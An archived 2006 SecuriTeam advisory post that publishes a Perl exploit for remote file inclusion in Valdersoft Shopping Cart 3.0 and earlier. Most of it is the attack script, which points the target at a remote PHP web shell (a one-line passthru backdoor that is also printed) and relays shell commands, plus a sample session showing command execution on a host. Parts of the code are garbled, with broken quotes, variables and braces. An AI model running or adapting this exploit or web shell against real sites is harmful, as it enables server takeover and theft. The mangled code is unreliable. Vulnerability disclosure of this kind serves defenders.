

[EXPL] Valdersoft Shopping Cart Remote Command Execution (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00022.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 4 Jan 2006 17:31:00 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Valdersoft Shopping Cart Remote Command Execution (Exploit)

SUMMARY

<<http://www.valdersoft.com/>> Valdersoft
<http://www.valdersoft.com/valdersoft_shopping_cart.php> Shopping Cart is
"a easy to manage, customizable e-commerce solution".

A vulnerability in Valdersoft Shopping Cart allows malicious attackers to execute arbitrary code on the vulnerable system.

DETAILS

Vulnerable Systems:

* Valdersoft Shopping Cart version 3.0 and prior

Exploit:

```
#!/usr/bin/perl
```

```
#
```

```
# cijfer-vscxpl – Valdersoft Shopping Cart <=3.0 Remote Command Execution
```

```
Exploit
```

```
#
```

```
# Copyright (c) 2005 cijfer <cijfer@xxxxxxx>
```

[EXPL] Valdersoft Shopping Cart Remote Command Execution (Exploit)

```
# All rights reserved.
#
## 1. example
#
# [cijfer@kalma:/research]$ ./cijfer-vscxpl.pl -h www.valdersoft.com -d
/store
# [cijfer@xxxxxxxxxxxxxxxxxxxxx /]$ id;uname -a
# uid=2526(apache) gid=2524(apache) groups=2524(apache), 10004(paserv)
# FreeBSD valdersoft.com 4.9-RELEASE FreeBSD 4.9-RELEASE #0: Wed Nov 19
00:35:22 EST 2003
# tim@xxxxxxxxxxxxxxxxxxxxx:/usr/src/sys/compile/PLESK i386
#
# [cijfer@xxxxxxxxxxxxxxxxxxxxx /]$
#
## 2. explanation
#
# various files within 'include/templates/categories' contains unsanitized
and undefined
# variables which can allow remote file inclusion, leading to remote
command execution.
# this can be done by entering a remote url within the
'catalogDocumentRoot' variable.
#
## 3. the bug
#
# this is obvious _why_ it is dangerous.
#
# ...
# include($catalogDocumentRoot.$catalogDir
"include/modules/categories_path.php");
# ...
#
## 4. the php shell
#
# this exploit grabs data via regular expression strings. foreign php
shell
# scripts will not work with this exploit. use the following code along
with
# this exploit and put it in 'cmd.txt' or whatever you please:
#
# <?passthru($_GET[cmd]);?>
#
##
#
# $Id: cijfer-vscxpl.pl,v 0.2 2005/12/30 11:44:00 cijfer Exp cijfer $

use Getopt::Std;
use IO::Socket;
use URI::Escape;

getopts("h:d:");
```

[EXPL] Valdersoft Shopping Cart Remote Command Execution (Exploit)

```
$host = $opt_h;
$dirs = $opt_d;
$shel = "http://site.com/cmd.txt; # cmd shell url";
$cmdv = "cmd"; # cmd variable (ex.
passthru($ GET[cmd]);)
$good = 0;

if(!$host||!$dirs)
{
print "cijfer-vscxpl.pl by cijfer\n";
print "usage: $0 -h cijfer.xxx -d /valdersoft\r\n";
print "usage: $0 -h <hostname> -d <directory>\r\n";
exit();
}

while()
{
print "[cijfer@".$host."/\]$ ";
while(<STDIN>)
{
$cmds=$ ;
chomp($cmds);
last;
}

$string = $dirs;
$string .= "/include/templates/categories/default.php?";
$string .= uri_escape($cmdv);
$string .= "=";
$string .= "%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B";
$string .= uri_escape($cmds).":echo";
$string .= "%3B%65%63%68%6F%20%5F%45%4E%44%5F:echo";
$string .= "&catalogDocumentRoot=";
$string .= $shel;
$string .= "?";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host,
PeerPort => 80) || die "error: connect()\n";

print $sock "GET $string HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";

while($result = <$sock>)
{
if($result =~ /^ END /)
{
$good=0;
}
}
}
```

[EXPL] Valdersoft Shopping Cart Remote Command Execution (Exploit)

```
if($good==1)  
┌  
print $result:  
└  
  
if($result =~ /^ START /)  
┌  
$good=1:  
└  
┌  
└  
┌  
└
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:cijfer@xxxxxxxx> cijfer.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: *[TOOL] Bluediving – Bluetooth Penetration Testing Suite*
 - Next by Date: *[TOOL] arp_spoofers – Full ARP Packets Manipulation*
 - Previous by thread: *[TOOL] Bluediving – Bluetooth Penetration Testing Suite*
 - Next by thread: *[TOOL] arp_spoofers – Full ARP Packets Manipulation*
 - Index(es):
 - ◆ *Date*
 - ◆ *Thread*